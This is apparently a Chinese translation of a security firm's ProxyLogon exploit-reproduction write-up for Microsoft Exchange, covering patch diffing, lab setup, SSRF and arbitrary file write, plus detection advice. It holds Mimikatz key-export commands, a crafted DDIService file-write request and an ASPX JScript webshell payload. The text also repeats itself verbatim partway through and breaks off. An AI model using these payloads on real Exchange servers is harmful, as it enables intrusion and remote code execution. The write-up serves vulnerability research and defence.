0x00 简介

在最近的几周中,Microsoft检测到有攻击者在全球范围内利用多个0-Day漏洞针对Microsoft Exchange Server的本地版本发动攻击。其中的CVE-2021-26855漏洞又被称为ProxyLogon,这是Microsoft Exchange Server上存在的一个漏洞,可以导致攻击者绕过身份验证模拟用户操作。在我们观察到的攻击中,威胁行为者利用这个漏洞访问了本地Exchange服务器,从而获得了电子邮件帐户的访问权限,后续还安装了其他恶意软件以确保对受害者环境的长期访问。

Praetorian Labs团队根据最初的安全公告和补丁分析展开了逆向工程,并成功开发出完整功能的端到端漏洞利用。这篇文章概述了我们的漏洞利用复现过程,其中隐去了关键的概念验证组件,以防止有攻击者根据这篇文章来进行漏洞武器化利用。尽管我们没有发布完整的漏洞利用代码,但是可以预测的是,安全社区很快就会有人发布完整的漏洞利用程序。在这部分内容被公开之后,我们也会随即讨论更为详细的端到端解决方案。我们相信在未完整公开的这段时间,可以让企业有更多时间来修复这一严重漏洞。

Microsoft已经迅速开发并发布了脚本、威胁指标和紧急修复补丁,以帮助缓解这些漏洞。Microsoft安全响应中心此前已经发布过一篇文章,其中详细说明了这些缓解措施。值得注意的是,URL重写模块可以成功地阻止漏洞利用,而无需再进行额外的紧急修复,可以认为是针对ProxyLogon最迅速有效的对策。但是,攻击者对Proxylogon漏洞的利用已经非常广泛,因此暴露在公网的Exchange服务器的运营人员必须立即开展应急响应和修复。

0x01 方法论

在进行逆向工程的过程中,我们按照以下步骤进行,以便可以对Exchange及其安全修补程序进行静态和动态修复。

1、差异:查看存在漏洞版本与修复版本之间的差异。

2、测试:部署存在漏洞版本的完整测试环境。

3、观察:部署工具,观察常规情况下的网络通信情况。

4、分析:逐一分析每个CVE漏洞,将补丁差异与网络流量相关联,构造概念验证PoC漏洞。

0x02 补丁差异

通过检查更新补丁前后的二进制文件之间的差异,我们可以准确定位到进行了哪些更改。随后,对这些更改部分进行逆向工程,从而复现原始漏洞。

Microsoft的Update Catalog对于我们获取补丁并进行差异比较的工作来说很有帮助。只需搜索相关软件版本,网站就会返回一个安全补丁的汇总列表,我们可以根据这个列表上的安全补丁进行对比分析。例如,搜索“Exchange Server 2013 CU23的安全更新”,就可以找到特定版本的Exchange修复程序。之所以我们选择Exchange 2013,是因为该版本受到CVE-2021-26855漏洞影响,且补丁包最小,因此我们通过这个补丁包来进行差异分析。

1.png

Microsoft Update Catalog支持按照日期排序,我们所需的是前两个补丁文件。

首先,我们下载了最新的(2021年3月2日)安全更新汇总和以前(2021年2月12日)的安全更新汇总。从.cab文件中提取出.msp文件,并使用7Zip解压缩.msp文件,就得到了两个需要比较的二进制文件夹。

.msp更新中包含数百个二进制文件,其中大多数是.NET应用程序:

2.png

由于大多数二进制文件都是.NET应用程序,因此我们使用dnSpy将每个二进制文件反编译为一系列源文件。为了加快分析速度,我们使用自动化反编译,并利用源代码管理的比较功能,将每个版本作为单独的提交上传到GitHub Repo进行比较。

借助GitHub可以清晰区分出关键差异:

3.png

我们发现另一个可以用于对比差异的工具是Telerik的JustAssembly。如果要观察实际的文件差异,该工具的运行速度稍慢,但有助于确定哪里添加或删除了代码。

JustAssembly简洁地显示出整个DLL的更改:

4.png

在准备工作完成后,我们需要启动目标Exchange服务器,以开始测试。

0x03 测试

首先,我们使用Microsoft的ADDSDeployment模块来设置标准域控。随后,下载相关的Exchange安装程序(例如Exchange 2013 CU23)并执行了标准安装过程。

针对基于Azure的Exchange环境,我们按照这里概述的步骤进行操作,将其中第8步“Install Exchange”下载的安装程序替换为正确的Exchange安装程序链接。此外,我们修改了服务器配置脚本中的PowerShell代码片段,以启动2012-R2 Datacenter服务器,而非2019 Server版本。

$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"

这将允许我们快速部署独立的域控制器和Exchange服务器,并建立适当的网络安全组,以防止不必要的互联网漏洞利用尝试。

0x04 观察

Microsoft Exchange由几个后端组件组成,这些后端组件在服务器正常运行期间相互通信。从用户的角度来看,对前端Exchange服务器的请求将通过IIS流到Exchange HTTP代理,Exchange HTTP代理负责评估邮箱路由逻辑,并将请求转发到相应的后端服务器。这一过程如下图所示。

Microsoft Exchange 2016客户端访问协议体系结构图:

5.png

我们重点观察从HTTP代理发送到Exchange后端的所有流量,因为其中应该包括来自真实服务的许多示例请求,这样一来我们就可以更好地理解源代码和漏洞利用程序中的请求。

Exchange已经部署在IIS上,因此我们对Exchange后端绑定进行了简单的更改,将端口由444变更为4444。接下来,我们在444端口上部署了代理,以将数据包转发到新的绑定地址。

6.png

Exchange HTTP代理会验证Exchange后端的TLS证书,为了使我们的代理有效,我们想从测试计算机的本地证书存储中将“Microsoft Exchange”证书转储出来。由于这个证书的私钥在Exchange安装过程中被标记为不可导出,因此我们使用Mimikatz提取了密钥和证书。

mimikatz# privilege::debug
mimikatz# crypto::certificates /export /systemstore:LOCAL_MACHINE

使用Mimikatz从测试机中提取Exchange证书和密钥:

7.png

有了证书和密钥后,我们凭借socat(一个多功能网络中继工具)这样的工具,使用Exchange证书侦听444端口,并将连接转发到4444端口(实际的Exchange后端)。socat命令可能如下所示:

# export the certificate and private key (password mimikatz)
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nokeys -out exchange.pem
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nocerts -out exchange.pem
# launch socat, listening on port 444, forwarding to port 4444
socat -x -v openssl-listen:4444,cert=exchange.pem,key=exchange-key.pem,verify=0,reuseaddr,fork openssl-connect:127.0.0.1:444,verify=0

在配置了代理后,我们就可以正常使用Exchange生成HTTP请求,从而分析内部连接的详细信息。此外,几个后端服务器进程会将请求发送到444端口,从而让我们能够观察到定期运行状况检查、Powershell远程处理请求等。

0x05 分析

尽管每个CVE漏洞都不相同,但我们对其中每一个CVE漏洞进行分析的方法通常包含五个阶段:

1、检查指标;

2、检查补丁差异;

3、将指标与差异进行对应;

4、将这些代码路径连接到代理流量;

5、构造请求以触发这些代码路径;

6、重复上述步骤。

5.1 从CVE-2021-26857开始热身

根据Microsoft关于HAFNIUM漏洞的公告,“CVE-2021-26857是统一消息服务(Unified Messaging Service)中不安全的反序列化漏洞。其中,不安全的反序列化是指不可信的用户控制数据被程序反序列化的位置。利用这一HAFNIUM漏洞,可以在Exchange服务器上以SYSTEM身份执行代码。”

尽管最终不一定要利用这一漏洞在Exchange服务器上实现远程代码执行,但它提供了一个简单的示例,说明如何根据补丁差异对比来揭示漏洞的细节。根据上面的公告,我们可以明确地将统一消息服务确定为潜在目标,这极大地帮助了我们缩小初始搜索空间。

Exchange二进制软件包的命名非常清晰,代理功能位于Microsoft.Exchange.HttpProxy.*中,日志上传位于Microsoft.Exchange.LogUploader中,而统一消息代码位于Microsoft.Exchange.UM.*中。在比较文件时,并不能一直依靠文件名给出的提示线索,但如果文件名中包含了一些提示信息,我们也不要忽略它。

这些DLL的JustAssembly差异非常清晰地展现了漏洞的根本原因:

8.png

根据存在差异的类,表明已经删除了Base64Deserialize函数,并且添加了contactInfoDeserializationAllowList属性。.NET从历史上就一直在解决反序列化问题,因此,看到这样的变更很可能表明它删除了存在漏洞的代码,并且增加针对.NET反序列化漏洞利用的防护。在我们检查Base64Deserialize之后可以证实这一点。

删除的函数将Base64字符串的输出值传递给BinaryFormatter的反序列化:

9.png

在修复之前,我们通过对比差异发现,从Microsoft.Exchange.UM.UMCore.PipelineContext.FromHeaderFile调用了这个不安全的方法。

序列化的PipelineContext的ContactInfo属性可用于触发漏洞:

10.png

这个函数的修复后版本中包含更多代码,可以在反序列化之前正确验证其类型。

本质上,这个修复程序删除了存在.NET反序列化漏洞的函数,该漏洞可以使用ysoserial.net之类的工具轻松利用。尽管这里的攻击路径非常简单,但服务器并不是始终启用统一消息功能你的,因此,我们的概念验证漏洞利用要依赖于下面所分析的CVE-2021-27065漏洞。

5.2 服务器端请求伪造(CVE-2021-26855)

由于所有远程代码执行漏洞都需要绕过身份验证,因此我们将注意力转向了服务器端请求伪造漏洞(SSRF)。Microsoft发布了以下PowerShell命令,以搜索与这一漏洞相关的指标:

Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object {  $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

此外,Volexity还发布了以下与SSRF漏洞利用相关的URL:

/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/.js

利用这些指示符,我们在补丁差异中寻找了相关的关键词(包括主机、主机名、fqdn等字符串),最终在Microsoft.Exchange.FrontEndHttpProxy.HttpProxy中发现了值得关注的变更。与此同时,我们还发现了BEResourceRequestHandler使用的BackEndServer类中的差异。

与ServerInfo / authentication / host / fqdn相关的补丁差异:

11.png

BEResourceRequestHandler使用的BackEndServer类的补丁差异:

12.png

接下来,我们追踪对BEResourceRequestHandler的调用,从ProxyModule中的SelectHandlerForUnauthenticatedRequest方法中找到了相关的路径。

下图的简化代码展示了命中BEResourceRequestHandler的路径:

13.png

最后,我们评估了BEResourceRequestHandler的CanHandle方法,发现其中需要一个带有ECP“协议”的URL(例如:/ecp/)、一个X-BEResource Cookie和一个以静态文件类型扩展名结尾的URL(例如js、css、flt等)。由于这段代码是在HttpProxy中实现的,因此这个URL不一定需要有效,这也说明了一个事实,即我们可以使用/ecp/y.js(一个不存在的文件)作为指示符。

X-BEResource Cookie在BackEndServer.FromString中进行解析,其根据“~”来拆分字符串,将第一个元素分配给后端的“fqdn”,将第二个元素解析为整数的版本号。
随后,我们追踪了这个BackEndServer对象的用法,发现它在ProxyRequestHandler中用于确定要将代理请求发送到的Host。URI是通过UriBuilder在GetTargetBackEndServerUrl中构造的,而UriBuilder是本地.NET类。

下图的简化代码展示了ProxyRequestHandler中的相关方法:

14.png

在这里,从理论上来说,我们可以通过设置特定的标头,并将请求发送到/ecp中的“静态”文件来控制这些用于后端连接的Host。但是,仅控制这些主机并不足以让我们在Exchange后端上调用任意终端。为此,我们查看了.NET源代码本身,以了解UriBuilder是如何实现的。

UriBuilder源代码中的ToString方法:

15.png

如上面的代码片段所示,UriBuilder的ToString方法(用于构造URI)仅将我们输入的内容进行简单的字符串连接。因此,如果将Host设置为“example.org/api/endpoint/#”,就可以有效获得对目标URL的完全控制。

有了这些信息,我们就可以通过下述HTTP请求尝试进行SSRF利用。

由于Kerberos主机不匹配,因此SSRF尝试访问example.org失败:

16.png

由于与example.org通信的NegotiateSecurityContext错误,我们此次SSRF尝试遇到了失败。事实证明,这次失败帮助我们理解了SSRF,因为它表明HTTP代理是图通过Kerberos向后端服务器进行身份验证的事实。随后,将主机名设置为Exchange服务器的计算机名,就会发现Kerberos身份验证成功。并且我们现在可以以NT AUTHORITY\SYSTEM身份访问终端。至此,我们构造了以下HTTP请求来进行SSRF漏洞利用。

由于后端身份验证检查,这次SSRF尝试同样失败:

17.png

又一次,后端服务器由于某种原因拒绝了我们的请求。通过跟踪这一错误,我们最终发现了EcpProxyRequestHandler.AddDownLevelProxyHeaders方法,该方法仅在ProxyToDownLevel设置为true时才会调用。这一方法会检查用户是否已经通过身份验证,如果没有通过验证,则会返回HTTP 401错误。

幸运的是,我们可以通过修改Cookie中的服务器版本来阻止GetTargetBackEndServerUrl设置这个值。如果版本大于Server.E15MinVersion,那么ProxyToDownLevel将保持为false。在进行这个更改之后,我们成功通过了后端服务(autodiscover)的身份验证。

成功实现autodiscover终端的SSRF利用:

18.png

在查看上述代码路径时,我们在OWA代理处理程序中发现了另一处SSRF。这些请求是在没有经过Kerberos身份验证的情况下发送的,因此可以将其定向到任意服务器,如下所示。

通过X-AnonResource Cookie成功实现到example.org的SSRF尝试:

19.png

至此,我们就有能力来伪造对某些后端服务的请求。目前我们暂时不会发布有关如何通过敏感服务认证(例如/ecp)的细节,因为这些信息尚未被公开披露。

5.3 任意文件写入(CVE-2021-27065)

在获得了SSRF之后,我们将注意力转向了远程代码执行。在开始分析补丁差异之前,关于这个漏洞的第一个线索来自于Microsoft和Volexity发布的指标。他们表示,通过下述PowerShell命令可以在ECP日志中搜索是否遭遇漏洞利用攻击的指标:

Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" `
-Pattern 'Set-.+VirtualDirectory'

此外,Volexity的文章称对/ecp/DDI/DDIService.svc/SetObject 的请求与漏洞利用相关。在掌握了上面两个信息之后,我们就在补丁差异中搜索了ECP或DDI类中与文件I/O相关的任何内容。很快就发现了Microsoft.Exchange.Management.ControlPanel.DIService中的WriteFileActivity类。“控制面板”(control panel)是ECP面向用户的名称,而DDIService直接位于指标URL之中。如下图中所体现的差异,旧版本会将由用户控制名称的文件直接写入到磁盘。而新版本的代码会在文件名后附加“.txt”扩展名(如果不存在该扩展名)。我们知道,在通常的漏洞利用过程中,在将ASPX Webshell写入服务器时,通常都会优先选择WriteFileActivity来利用。

WriteFileActivity.cs在修复前后的差异:

20.png

我们在Exchange安装目录中搜索WriteFileActivity,可以在Exchange Server\V15\ClientAccess\ecp\DDI的多个XAML文件中看到它的存在。

ResetOABVirtualDirectory.xaml中的代码段:

21.png

在检查了XAML文件并查看了Exchange Web UI中的ECP功能后,我们确定上述SetObjectWorkflow描述了需要在服务器端执行的一系列步骤(包括Powershell cmdlet执行),从而可以执行特定操作。

ECP用户界面,展示了ResetVirtualDirectory的配置选项:

22.png

通过提交示例ResetVirtualDirectory请求,我们观察到Exchange服务器将VirtualDirectory的配置写入到指定路径,删除VirtualDirectory,然后重新创建。这个配置文件中包含目录的多个属性,并且可以使用任意扩展名写入系统上的任何目录。请求和结果文件如下图所示。

向DDIService发送HTTP请求,以重置OAB VirtualDirectory:

POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
  "identity": {
    "__type": "Identity:ECP",
    "DisplayName": "OAB (Default Web Site)",
    "RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
  },
  "properties": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
      "FilePathName": "C:\\VirtualDirectory.aspx"
    }
  }
}

DDIService导出的文件显示了VirtualDirectory的所有属性:

23.png

ECP Web UI显示了VirtualDirectory的可编辑参数:

24.png

在UI中,公开了以下参数,可以用于编辑VirtualDirectory。值得注意的是,UI中公开的同时包括内部URL和外部URL,在XAML中作为参数,并写入到我们的任意路径的文件之中。上述条件的组合,就可以使攻击者控制的输入内容到达任意路径,这也是我们利用Webshell所必需的原语。

经过一些实验后,我们能够确定内部和外部URL字段中的一部分会被服务器验证。也就是说,服务器将验证URI方案、主机名,以及不超过256个字节的长度。此外,服务器会对Payload中的任何%符号进行编码(也就是将“%”变为“%25”)。这就会导致类似于 < %code% > 这样的常规ASPX代码块被转换为 < %25 code%25 > 的无效代码。但是,在这里并没有对其他元字符(例如“ < ”和“ > ”)进行编码,这就允许攻击者注入以下的URL:

http://o/#  < script language="JScript" runat="server" > function Page_Load(){eval(Request["mlwqloai"],"unsafe");} < /script >

在重置VirtualDirectory后,这个URL会被嵌入到导出中,并保存到我们指定的路径,从而可以在Exchange服务器上执行远程代码。

利用Webshell在被攻击的Exchange服务器上执行命令:

25.png

5.4 泄漏后端和域

要形成完整的漏洞利用链,需要Exchange服务器的后端和域。在Crowdstrike的一篇文章中,他们提供了攻击过程的完整日志,其中记录了来自互联网的攻击细节。在日志中,首先是针对/rpc/终端的调用。

初始请求是针对Exchange公开的/rpc/:

26.png

这个初始请求必须是未经身份验证状态下的,可能利用了HTTP上的RPC,它本质上通过终端公开了NTLM身份验证。 HTTP上的RPC是一个相当复杂的协议,我们可以根据Microsoft提供的规范说明了解其详细信息。

站在攻击者的视角,我们关注解析发送NTLM Negotiation消息后返回给我们的NTLM Challenge消息。在Challenge消息中包含许多AV_PAIR结构,其中包含我们关注的信息,特别是MsvAvDnsComputerName(后端服务器名称)和MsvAvDnsTreeName(域名)。

Impacket的http.py中已经包含执行协商(Negotiation)过程的代码,以生成Negotiation消息,然后将Challenge响应解析为AV_PAIR结构。请求和响应分别如下:

RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1
Host: frontend.exchange.contoso.com
User-Agent: MSRPC
Accept: application/rpc
Accept-Encoding: gzip, deflate
Authorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=
Content-Length: 0
Connection: close
HTTP/1.1 401 Unauthorized
Server: Microsoft-IIS/8.5
request-id: 72dce261-682e-4204-a15a-8055c0fd93d9
Set-Cookie: ClientId=IRIFSCHPJ0YLFULO9MA; expires=Tue, 08-Mar-2022 22:48:47 GMT; path=/; HttpOnly
WWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAFAomiVN9+140SRjMAAAAAAAAAAJ4AngBAAAAABgOAJQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEACABlAHgAVgBNAAQAIABjAG8AcgBwAC4AYwBvAG4AdABvAHMAbwAuAGMAbwBtAAMAKgBlAHgAVgBNAC4AYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAFACAAYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAHAAgA8EkBM20U1wEAAAAA
WWW-Authenticate: Negotiate
WWW-Authenticate: Basic realm="frontend.exchange.contoso.com"
X-Powered-By: ASP.NET
X-FEServer: frontend
Date: Mon, 08 Mar 2021 22:48:47 GMT
Connection: close
Content-Length: 0

可以使用Impacket解析Base64编码的哈希值,从而查看泄露的域信息。

在WWW-Authenticate NTLM Challenge中包含的域信息:

27.png

恢复后的AV_PAIR数据被编码为Windows Unicode,并将特定的AV_ID映射到一个值。AV_ID是用于代表特定内容的常量,举例来说,我们想要获取的是AV_ID为3(后端主机名)和5(域)的字符串。

AV_PAIR结构与数据的对应关系:

28.png

根据这里的信息,我们可以确定后端值为ex.corp.contoso.co,域为corp.contoso.com。这些也就是我们前面所讨论的SSRF漏洞利用所需的值。

5.5 后续工作

如上文所述,我们在这里省略了某些漏洞利用细节,以防止非法攻击者实现漏洞利用。攻击者可以利用这一漏洞以任意用户的身份向ECP终端进行身份验证,而这一过程我们交给读者去自行尝试。在经过足够长的时间之后,我们将在后续的文章中披露更多详细信息。

0x06 检测方法

Microsoft的威胁情报中心(MSTIC)已经提供了非常详尽的指标和检测脚本,我们建议任何使用了Exchange服务器的用户都需要进行自查。为了确认是否存在可疑攻击,我们建议安全运营中心(SOC)、安全托管服务提供商(MSSP)、可管理的威胁检测与响应服务(MDR)采取以下步骤:

1、确保所有终端防护产品已经更新并正常运行。尽管检测引擎并没有针对这个漏洞利用增加太多的威胁指标,但这些最新的工具可以轻松检测到漏洞利用后的活动。

2、在所有Exchange服务器上,运行Microsoft GitHub中的TestProxyLogon.ps1脚本。根据我们针对漏洞利用实现武器化的经验,这个脚本应该可以检测出漏洞利用的痕迹。

3、仔细检查服务器的配置、计划任务、自动运行等位置。这些都是攻击者在获取初始访问权限后可能会改动的位置。确保Exchange服务器启用了“Audit Process Creation”(审计进程创建)审核策略和PowerShell日志记录,并检查可疑的命令和脚本。如果发现可疑情况,应当尽快验证、报告和补救。

随着我们后续对漏洞利用的深入研究,我们还将发布其他信息,以帮助大家更好地检测环境中是否存在漏洞利用的迹象。

6.1 后漏洞利用

Sean Metcalf和Trimarc Security在先前的文章中详细介绍了Exchange安装时通常启用的高级权限。按照这种方式进行配置后,一旦攻击者控制了Exchange服务器,便可以利用这一访问权限对整个域范围内开展进一步攻击。针对已经遭受攻击的环境,应当检查域对象的ACL,并确认受到攻击的Exchange资源所属的组,从而判断可能受到进一步攻击的范围。我们将Trimarc文章的PowerShell进行了修改,从而可以更加详细地筛选Exchange Windows权限和Exchange受信任子系统组。如果您的环境中已经将Exchange资源添加到自定义组,或者自定义了其他组,则需要再对这个脚本进行相应调整。

import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}

0x07 致谢

我们的漏洞利用复现过程参考了此前很多研究人员、应急响应人员和其他致力于复现漏洞的安全研究人员已发表的成果,需要对以下个人和团队表示感谢:

DEVCORE - 最早发现了这一漏洞

Volexity - 发现野外漏洞利用

@80vul - 第一个复现漏洞利用链的研究人员

Rich Warren(@buffaloverflow) - 在研究过程中与我们积极合作

Crowdstrike - 发布了有关野外漏洞利用的更多信息

Microsoft - 迅速发布了威胁指标和补丁

0x00 简介

在最近的几周中,Microsoft检测到有攻击者在全球范围内利用多个0-Day漏洞针对Microsoft Exchange Server的本地版本发动攻击。其中的CVE-2021-26855漏洞又被称为ProxyLogon,这是Microsoft Exchange Server上存在的一个漏洞,可以导致攻击者绕过身份验证模拟用户操作。在我们观察到的攻击中,威胁行为者利用这个漏洞访问了本地Exchange服务器,从而获得了电子邮件帐户的访问权限,后续还安装了其他恶意软件以确保对受害者环境的长期访问。

Praetorian Labs团队根据最初的安全公告和补丁分析展开了逆向工程,并成功开发出完整功能的端到端漏洞利用。这篇文章概述了我们的漏洞利用复现过程,其中隐去了关键的概念验证组件,以防止有攻击者根据这篇文章来进行漏洞武器化利用。尽管我们没有发布完整的漏洞利用代码,但是可以预测的是,安全社区很快就会有人发布完整的漏洞利用程序。在这部分内容被公开之后,我们也会随即讨论更为详细的端到端解决方案。我们相信在未完整公开的这段时间,可以让企业有更多时间来修复这一严重漏洞。

Microsoft已经迅速开发并发布了脚本、威胁指标和紧急修复补丁,以帮助缓解这些漏洞。Microsoft安全响应中心此前已经发布过一篇文章,其中详细说明了这些缓解措施。值得注意的是,URL重写模块可以成功地阻止漏洞利用,而无需再进行额外的紧急修复,可以认为是针对ProxyLogon最迅速有效的对策。但是,攻击者对Proxylogon漏洞的利用已经非常广泛,因此暴露在公网的Exchange服务器的运营人员必须立即开展应急响应和修复。

0x01 方法论

在进行逆向工程的过程中,我们按照以下步骤进行,以便可以对Exchange及其安全修补程序进行静态和动态修复。

1、差异:查看存在漏洞版本与修复版本之间的差异。

2、测试:部署存在漏洞版本的完整测试环境。

3、观察:部署工具,观察常规情况下的网络通信情况。

4、分析:逐一分析每个CVE漏洞,将补丁差异与网络流量相关联,构造概念验证PoC漏洞。

0x02 补丁差异

通过检查更新补丁前后的二进制文件之间的差异,我们可以准确定位到进行了哪些更改。随后,对这些更改部分进行逆向工程,从而复现原始漏洞。

Microsoft的Update Catalog对于我们获取补丁并进行差异比较的工作来说很有帮助。只需搜索相关软件版本,网站就会返回一个安全补丁的汇总列表,我们可以根据这个列表上的安全补丁进行对比分析。例如,搜索“Exchange Server 2013 CU23的安全更新”,就可以找到特定版本的Exchange修复程序。之所以我们选择Exchange 2013,是因为该版本受到CVE-2021-26855漏洞影响,且补丁包最小,因此我们通过这个补丁包来进行差异分析。

1.png

Microsoft Update Catalog支持按照日期排序,我们所需的是前两个补丁文件。

首先,我们下载了最新的(2021年3月2日)安全更新汇总和以前(2021年2月12日)的安全更新汇总。从.cab文件中提取出.msp文件,并使用7Zip解压缩.msp文件,就得到了两个需要比较的二进制文件夹。

.msp更新中包含数百个二进制文件,其中大多数是.NET应用程序:

2.png

由于大多数二进制文件都是.NET应用程序,因此我们使用dnSpy将每个二进制文件反编译为一系列源文件。为了加快分析速度,我们使用自动化反编译,并利用源代码管理的比较功能,将每个版本作为单独的提交上传到GitHub Repo进行比较。

借助GitHub可以清晰区分出关键差异:

3.png

我们发现另一个可以用于对比差异的工具是Telerik的JustAssembly。如果要观察实际的文件差异,该工具的运行速度稍慢,但有助于确定哪里添加或删除了代码。

JustAssembly简洁地显示出整个DLL的更改:

4.png

在准备工作完成后,我们需要启动目标Exchange服务器,以开始测试。

0x03 测试

首先,我们使用Microsoft的ADDSDeployment模块来设置标准域控。随后,下载相关的Exchange安装程序(例如Exchange 2013 CU23)并执行了标准安装过程。

针对基于Azure的Exchange环境,我们按照这里概述的步骤进行操作,将其中第8步“Install Exchange”下载的安装程序替换为正确的Exchange安装程序链接。此外,我们修改了服务器配置脚本中的PowerShell代码片段,以启动2012-R2 Datacenter服务器,而非2019 Server版本。

$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"

这将允许我们快速部署独立的域控制器和Exchange服务器,并建立适当的网络安全组,以防止不必要的互联网漏洞利用尝试。

0x04 观察

Microsoft Exchange由几个后端组件组成,这些后端组件在服务器正常运行期间相互通信。从用户的角度来看,对前端Exchange服务器的请求将通过IIS流到Exchange HTTP代理,Exchange HTTP代理负责评估邮箱路由逻辑,并将请求转发到相应的后端服务器。这一过程如下图所示。

Microsoft Exchange 2016客户端访问协议体系结构图:

5.png

我们重点观察从HTTP代理发送到Exchange后端的所有流量,因为其中应该包括来自真实服务的许多示例请求,这样一来我们就可以更好地理解源代码和漏洞利用程序中的请求。

Exchange已经部署在IIS上,因此我们对Exchange后端绑定进行了简单的更改,将端口由444变更为4444。接下来,我们在444端口上部署了代理,以将数据包转发到新的绑定地址。

6.png

Exchange HTTP代理会验证Exchange后端的TLS证书,为了使我们的代理有效,我们想从测试计算机的本地证书存储中将“Microsoft Exchange”证书转储出来。由于这个证书的私钥在Exchange安装过程中被标记为不可导出,因此我们使用Mimikatz提取了密钥和证书。

mimikatz# privilege::debug
mimikatz# crypto::certificates /export /systemstore:LOCAL_MACHINE

使用Mimikatz从测试机中提取Exchange证书和密钥:

7.png

有了证书和密钥后,我们凭借socat(一个多功能网络中继工具)这样的工具,使用Exchange证书侦听444端口,并将连接转发到4444端口(实际的Exchange后端)。socat命令可能如下所示:

# export the certificate and private key (password mimikatz)
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nokeys -out exchange.pem
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nocerts -out exchange.pem
# launch socat, listening on port 444, forwarding to port 4444
socat -x -v openssl-listen:4444,cert=exchange.pem,key=exchange-key.pem,verify=0,reuseaddr,fork openssl-connect:127.0.0.1:444,verify=0

在配置了代理后,我们就可以正常使用Exchange生成HTTP请求,从而分析内部连接的详细信息。此外,几个后端服务器进程会将请求发送到444端口,从而让我们能够观察到定期运行状况检查、Powershell远程处理请求等。

0x05 分析

尽管每个CVE漏洞都不相同,但我们对其中每一个CVE漏洞进行分析的方法通常包含五个阶段:

1、检查指标;

2、检查补丁差异;

3、将指标与差异进行对应;

4、将这些代码路径连接到代理流量;

5、构造请求以触发这些代码路径;

6、重复上述步骤。

5.1 从CVE-2021-26857开始热身

根据Microsoft关于HAFNIUM漏洞的公告,“CVE-2021-26857是统一消息服务(Unified Messaging Service)中不安全的反序列化漏洞。其中,不安全的反序列化是指不可信的用户控制数据被程序反序列化的位置。利用这一HAFNIUM漏洞,可以在Exchange服务器上以SYSTEM身份执行代码。”

尽管最终不一定要利用这一漏洞在Exchange服务器上实现远程代码执行,但它提供了一个简单的示例,说明如何根据补丁差异对比来揭示漏洞的细节。根据上面的公告,我们可以明确地将统一消息服务确定为潜在目标,这极大地帮助了我们缩小初始搜索空间。

Exchange二进制软件包的命名非常清晰,代理功能位于Microsoft.Exchange.HttpProxy.*中,日志上传位于Microsoft.Exchange.LogUploader中,而统一消息代码位于Microsoft.Exchange.UM.*中。在比较文件时,并不能一直依靠文件名给出的提示线索,但如果文件名中包含了一些提示信息,我们也不要忽略它。

这些DLL的JustAssembly差异非常清晰地展现了漏洞的根本原因:

8.png

根据存在差异的类,表明已经删除了Base64Deserialize函数,并且添加了contactInfoDeserializationAllowList属性。.NET从历史上就一直在解决反序列化问题,因此,看到这样的变更很可能表明它删除了存在漏洞的代码,并且增加针对.NET反序列化漏洞利用的防护。在我们检查Base64Deserialize之后可以证实这一点。

删除的函数将Base64字符串的输出值传递给BinaryFormatter的反序列化:

9.png

在修复之前,我们通过对比差异发现,从Microsoft.Exchange.UM.UMCore.PipelineContext.FromHeaderFile调用了这个不安全的方法。

序列化的PipelineContext的ContactInfo属性可用于触发漏洞:

10.png

这个函数的修复后版本中包含更多代码,可以在反序列化之前正确验证其类型。

本质上,这个修复程序删除了存在.NET反序列化漏洞的函数,该漏洞可以使用ysoserial.net之类的工具轻松利用。尽管这里的攻击路径非常简单,但服务器并不是始终启用统一消息功能你的,因此,我们的概念验证漏洞利用要依赖于下面所分析的CVE-2021-27065漏洞。

5.2 服务器端请求伪造(CVE-2021-26855)

由于所有远程代码执行漏洞都需要绕过身份验证,因此我们将注意力转向了服务器端请求伪造漏洞(SSRF)。Microsoft发布了以下PowerShell命令,以搜索与这一漏洞相关的指标:

Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object {  $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

